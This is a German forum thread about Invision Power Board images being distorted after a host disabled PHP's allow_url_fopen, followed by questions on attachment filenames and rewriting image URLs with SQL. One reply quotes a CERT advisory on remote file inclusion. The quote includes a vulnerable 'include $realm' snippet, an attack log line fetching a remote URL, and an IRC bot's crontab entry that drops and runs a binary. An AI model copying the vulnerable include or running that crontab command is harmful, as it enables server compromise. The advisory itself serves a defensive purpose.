Jump to content
InvisionCommunity.de - Der Deutsche Invision Community Support
Sign in to follow this  
TomCrow

Angehängte Bilder verzerrt

Recommended Posts

Hallo!

Ich hab' seit heute eine "komische" Veränderung an meinem Forum feststellen müssen..

Alle angehängten Bilder werden auf 450x450 verkleinert und dabei (natürlich) verzerrt.

Die Funktion Show uploaded images in post? war immer schon auf Yes, die Funktion Show Thumb? Size auf 450x450 gesetzt..trotzdem war es bisher ein "Entweder-Oder", also das Bild wurde relativ angepasst, aber nicht absolut auf 450x450 verzerrt?

Weiß jemand Rat oder hatte das Problem schon mal?

mfg,

Tom

Share this post


Link to post

Nach langem Suchen, nachdem auch Fehler in Peters "Resize Images"-Mod & im membermap-mod aufgetreten sind, und nach einem Tipp von Peter bin ich auf den Fehler gekommen:

Die PHP-Variable allow_url_fopen steht auf meinem webspace zur Zeit auf OFF, war bis vor einigen Tagen aber auf ON (ich hab' den Fehler mit verzerrten Bildern auch lokal mit FoxServ reproduzieren können => allow_url_fopen OFF = angehängte Bilder werden auf Thumbnailgröße verzerrt, allow_url_fopen ON = angehängte Bilder werden auf Thumbnailgröße verkleinert).

Mein Hoster meint dazu Folgendes:

..

auf Grund von stark zugenommenen Angriffen auf unsere Server wurden

die fopen-Wrapper global deaktiviert und nur mehr für Kunden aktiviert die

diese unbedingt benötigen.

Wie genau arbeitet Ihre Verkleinerungsfunktion denn? Sollten wir dies

nicht durch eine kleine Skriptänderung lösen können, werden wir die

url_fopen

Funktion natürlich wieder aktivieren.

Das Problem ist, dass durch diese Funktion CrossSite-Angriffe ermöglicht

werden.

Dh. es können bei Sicherheitslücken in den PHP-Anwendungen externe

Seiten/Files

auf den eigenen Webspace gelangen und Schaden anrichten.

Darum ist es sinnvoller (wenn nicht zwingend externe Seiten geladen werden

müssen),

diese Funktion abgeschalten zu lassen.

..

Was soll ich denn da jetzt antworten?

Wenn ich sage: "stellt das auf ON" machen sie's, aber die Verantwortung, wenn der server dann mal angegriffen wird, liegt dann wohl bei mir und ich kann mich nicht beklagen, falls es dann zu Problemen kommt.

Eine script-Anpassung und fopen auf OFF wär' natürlich fein, aber wie tun? Was weiß denn ich, wie die Verkleinerungsfunktion im IPB 1.3, in Peters Resize mod und im membermap mod funktioniert??

Hat jemand einen Tipp für mich?

mfg,

Tom

[edit]: was mir gerade eingefallen ist: den local-Test hab' ich mit einem frischen IPB 1.3 gemacht, das heißt: jeder, der bei 1.3 die Funktion "Show Thumb?" nützt, müsste eigentlich die fopen auf ON haben.

Daraus folgt aber dann: entweder ist

a ) das IPB gegen Angriffe dieser Art eh schon geschützt (dann könnt' ich's ja auf ON stellen lassen), oder

b ) jedes 1.3 ist dadurch angreifbar??

Wie ist allow_url_fopen denn bei Euch gesetzt (allgemeine Frage)?

Edited by TomCrow

Share this post


Link to post

So sieht die Passage bei mir aus:

ini_set('allow_url_fopen', true);
set_time_limit(0);
ob_implicit_flush(true);
ini_set('track_errors', true);
ini_set('html_errors', false);
ini_set('magic_quotes_runtime', false);
error_reporting(E_ALL & ~E_NOTICE);
set_error_handler('error_handler');

Dein Hoster meint vermutlich folgenden Artikel, der auf einigen News-Seiten zu finden war

DFN-CERT warnt vor Angriffen auf Webserver mit unsicheren PHP-Skripten

Das DFN-CERT und weitere deutsche CERTs (Computer Emergency Response Teams) registrieren nach eigenen Angaben zurzeit massive Angriffe auf Webserver mit unsicheren PHP-Skripten. In diese Skripte lässt sich weiterer Skript-Code einschleusen, der beispielsweise von einem anderem Webserver nachgeladen und ausgeführt wird. Laut Meldung finden sich auf bereits kompromittierten Systemen IRC-Bots, über die der Rechner fernsteuerbar ist und für weitere Angriffe missbraucht werden kann.

Betroffen sind Systeme, bei denen in der php.ini die Option allow_url_fopen = on gesetzt ist und sich ein Skript aufrufen lässt, das dynamisch Code nachlädt, beispielsweise so:

if (!isset($realm))

{

include "home.template";

}

else

{

include $realm;

}
Anstelle des Pfades zu einer lokalen Datei ist es so möglich, eine URL zu einer Datei auf einem Webserver anzugeben. Der include-Befehl lädt das Skript von dort aus nach und bindet ihn ein. Liegt der Exploit-Code bereit und ist ein verwundbares Skript gefunden, kann ein Angreifer über einen einzigen HTTP-Get-Request die Attacke starten. Das DFN-CERT rät, derart konfigurierte Systeme nach Einbruchsspuren zu untersuchen. Sollte in den Logdateien des eigenen Webservers Einträge wie [28/Sep/2004:18:03:07 +0200] "GET /pfad/zu/einem/script.php? variablenname=http://192.168.1.2:4213/ HTTP/1.0" 200 15183 "-" "Wget/1.8.1" oder ähnliche vorhanden sein, ist das System eventuell bereits kompromittiert. Der IRC-Bot soll sich anhand eines Eintrages in der Crontab erkennen lassen:
# "\177\105\114\10 [...] {POST_POST}00\37777777777" >

/tmp/tblihjauk; chmod \700 /tmp/tblihjauk;

/tmp/tblihjauk x; rm -f /tmp/tblihjauk34

* * * * /bin/echo `crontab -l|grep '.\{666\}'

|sed 's/^./echo -e -n/'`|sh

Nach ersten Erkenntnissen wurden bislang nur Linux-Systeme kompromittiert, allerdings ist die Lücke prinzipiell auch unter anderen Betriebssystemen ausnutzbar.

Share this post


Link to post

Danke für Deine Antwort, smurf! :)

Aber was genau heißt das jetzt für mein Problem? Soll ich es auch wieder auf On setzen lassen? Ist das IPB gegen solche Angriffe geschützt? Kann man sich davor schützen, wenn 'allow_url_fopen' auf On ist?

Bin nach wie vor ratlos und die Bilder in meinem Forum sehen im Moment ziemlich schxxxx aus und ich würd' meinem Hoster gern was antworten.. :yeahright:

mfg,

Tom

Share this post


Link to post

ein update: es lag' tatsächlich an der php-Variable..

Jetzt läuft wieder alles wie gewohnt.. :)

(da muss man aber auch erstmal drauf kommen :rolleyes:)

Ich hab' in einer ähnlichen Angelegenheit aber noch zwei Fragen (und will deswegen kein neues Thema aufmachen, ich hoff', dass ist ok und ich bekomm auch hier Antworten?):

1.) wie ist denn eigentlich die Namensvergebung bei angehängten Bildern geregelt, die heißen ja immer irgendwie so: post-14-1097700872.jpg

Also beim zweiten Teil bin ich mir ziemlich sicher, dass das ein UNIX-Timestamp ist? Das heißt, es ist ausgeschlossen, dass zwei Bilder den gleichen Namen erhalten, auch, wenn ich ein altes Bild jetzt lösche?

2.) wenn ich Bilder bei Imageshack.us auslagere und dann per IMG-tag ins Forum einbinde, lautet die URL ja etwa so: h**p://img60.exs.cx/img60/2593/Bild1.gif

oder so h**p://img80.exs.cx/img80/3821/Bild4.gif

(h**p = http ;) )

Falls ich mich jetzt z.B. später mal entschließe, die Bilder doch in einen Ordner auf meinen webspace zu geben, kann ich dann per SQL-Statement die <img src-Befehle in der ibf_posts updaten?

Für smilies geht das ja (z.B. bei Änderung der URL in etwa so:

UPDATE ibf_posts SET post=REPLACE(post,'http://alteurl/forum/html/emoticons', 'http://neueurl/forum/html/emoticons') WHERE post LIKE '%http://alteurl/forum/html/emoticons%'

Bei mir wär' halt das Problem, dass ich für die Imageshack-URLs Platzhalter verwenden müsste, weil die URL ja nicht immer gleich ist - also ungefähr so (nur halt in "SQL-Form" :rolleyes: ):

statt <img src="h**p://img60.exs.cx/img60/2593/Bild1.gif">:

<img src="h**p://img*.exs.cx/*/*/Bild1.gif">wird zu

<img src="h**p://meineurl/forum/pics/Bild1.gif">

Ist das überhaupt machbar?

mfg,

Tom

Share this post


Link to post

1.) wie ist denn eigentlich die Namensvergebung bei angehängten Bildern geregelt, die heißen ja immer irgendwie so: post-14-1097700872.jpg
Also beim zweiten Teil bin ich mir ziemlich sicher, dass das ein UNIX-Timestamp ist? Das heißt, es ist ausgeschlossen, dass zwei Bilder den gleichen Namen erhalten, auch, wenn ich ein altes Bild jetzt lösche?

Der Dateiname setzt sich aus post-ID des Forums-Timestamp beim Posten.Extension zusammen. Somit sollte es ausgeschlossen sein, das zwei Dateien den gleichen Namen erhalten, außer die Datei hat die gleiche Endung, es wird im gleichen Forum gepostet und das auf die Sekunde genau gleichzeitig. :lol:

Zu der zweiten Sachen, da muß man eher mit reguläre Ausdrücke arbeiten, ein einfaches Replace hilft da nicht. Machbar sollte es auf jeden Fall sein und wenn man es mit einem Script macht. Wäre meiner Meinung auch die bessere Alternative. Nach Bilder mit der entsprechenden URL in der ibf_posts suchen, automatisch downloaden, entsprechend umbenennen und den Link im Postin aktualisieren. ;)

Ach ja, das ist jetzt keine Zusage, das ich dir so ein Script schreibe. :lol: :P

Share this post


Link to post

ok, damit erübrigt sich mal Frage Nr. 3.. :w00t:

Naja, ich hab' ja noch zwei andere Wünsche an Dich offen (die Online/Offline - Sache und die Skin - Erweiterung), ich versteh' natürlich, dass Du nicht nur wegen mir am Computer sitzen magst.. ;)

Die beiden anderen Dinge sind bestimmt auch für andere interessant, das hier würd' wohl eher eine spezielle Lösung werden müssen..

Wobei ich hier einschränken kann: das script müsste lediglich in der ibf_posts die URLs ändern, auf Platte hab' ich die Bilder dann schon.. ;)

Und das bedeutet weiters, die Bilder heissen mit Sicherheit alle post-usw.gif oder .jpg

Hintergrundgeschichte dazu: ich spiel' mit dem Gedanken, im nächsten Jahr einen eigenen server zu mieten (mir geht bei den ganzen Bildern immer der webspace aus :rolleyes:).

Damit die Uploaderei der Bilder aber bis dahin weitergehen kann, nehm' ich die Bilder manuell aus den Beiträgen raus, speichere sie auf meiner Platte und lade sie bei Imageshack rauf und verlinke sie im Beitrag.

Wenn ich dann wirklich mal den server haben sollte, könnt' ich aber die Bilder wieder selber hosten und bin von Imageshack wieder unabhängig.. ;)

Deswegen hat die Sache für mich einerseits ziemliche Priorität, mir ging's aber vor allem darum, ob sich sowas zuverlässig machen lässt, denn sonst muss ich ja ein weiteres Mal manuell durch alle Beiträge.. ;)

mfg,

Tom

Edited by TomCrow

Share this post


Link to post

@ TomCrow

ich glaube für diese URL-Änderungen habe ich schon mal ein tool gesehen, das das ganze forum anpassen kann.. ich such es mal

http://tools.invisionize.com/db/index.php/f/3172

schau dir das mal an, kannste ja evtl. mal auf deinem eigenen rechner testen, aber wenn ich das richtig verstanden habe, müsste das das machen was du willst

Edited by Subtuppel

Share this post


Link to post

Hallo Subtuppel!

Danke für Deine Hilfe! :)

Das tool macht nicht ganz das, was ich brauch', aber ich werd' mir den Teil "Next a query will run replacing emoticon's urls to the new url, fixing the broken emoticons that were in posts." näher ansehen.

Das ist in etwa das, was ich brauch: in der ibf_posts sollen alle Imageshack-URLs durch meine server-URLs ersetzt werden. Das Knifflige daran ist nur, dass die Imageshack-URLs eben nicht gleich sind, sondern nur ungefähr gleich - ich kann also nicht einfach hergehen und sagen: alteurl => neueurl

Trotzdem danke,

Tom

Share this post


Link to post

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

Sign in to follow this  

×